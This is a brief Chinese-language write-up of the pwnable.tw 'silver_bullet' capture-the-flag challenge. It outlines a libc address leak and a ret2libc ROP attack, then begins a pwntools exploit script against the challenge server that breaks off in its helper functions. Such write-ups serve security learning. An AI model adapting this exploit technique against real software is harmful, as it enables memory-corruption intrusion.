老套路检查一下
没开canary和pie,只开了NX。所以我们用ROP ret2libc.我们运行程序发现,这个程序需要我们赢这个游戏他才能ret,就是beat非0。通过先creat再powerup泄露基地址,然后ret2libc进行ROP。
EXP:
from pwn import *
p = remote("chall.pwnable.tw", 10103)
e = ELF("./silver_bullet")
l = ELF("./libc_32.so.6")
context.log_level = 'debug'
def creat(data):
p.recvuntil(b"Your choice :")
p.send(b"1")
p.recvuntil(b"Give me your description of bullet :")
p.send(data)
def power(data):
p.recvuntil(b"Your choice :")
p.send(b"2")
p.recvuntil(b"Give me your another description of bullet :")
p.send(data)
def beat():
p.recvuntil(b"Your choice :")